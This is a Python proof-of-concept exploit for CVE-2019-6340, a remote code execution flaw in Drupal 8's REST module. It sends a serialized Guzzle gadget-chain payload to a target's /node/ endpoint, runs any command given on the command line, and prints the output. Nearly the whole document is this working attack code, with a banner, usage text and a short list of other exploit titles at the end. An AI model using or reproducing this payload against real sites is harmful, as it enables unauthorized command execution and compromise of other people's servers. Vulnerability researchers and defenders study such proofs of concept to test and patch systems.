POC CVE-2019-6340

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import requests
import sys
import re

url = sys.argv[1]
url_dir = "/node/"
vuln_url = url + url_dir
print (r'''
   ______     ________    ___   ____ _______        __________ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ <  / __ \      / ___/__  // // / / __ \
 / /    | | / / __/________/ // / / / / /_/ /_____/ __ \ /_ </ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / /\__, /_____/ /_/ /__/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/_//____/      \____/____/  /_/  \____/ 
                                                                          

Description: Drupal8's REST RCE, SA-CORE-2019-003, CVE-2019-6340

                         jas502n
''')
print ("\n\nExample: python CVE-2019-6340.py url cmd\n")
print (">>>Vuln Url=%s" % vuln_url)

querystring = {"_format":"hal_json"}
cmd = sys.argv[2]
cmd_lenght = len(cmd)
payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"http://localhost/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_lenght,cmd)

proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}
headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    'Connection': "close",
    'Content-Type': "application/hal+json",
    'Accept': "*/*",
    'Cache-Control': "no-cache"
    }

response = requests.request("POST", vuln_url, data=payload, headers=headers, proxies=proxies, params=querystring)
# print(response.text)
if response.status_code==403 and "u0027access" in response.text :
    print ("\n>>>>Exit CVE-2019-6340 RCE Vuln!\n")
    m = re.findall('.*permissions."}(.*)',response.text,re.S)
    print m[0]
      
else:
    print ("No Vuln Exit!")

 

POC  Drupal 雲要密码 内核RCE(CVE-2018-7602)

POC  SA-CORE-2019-003 RCE (CVE-2019-6340)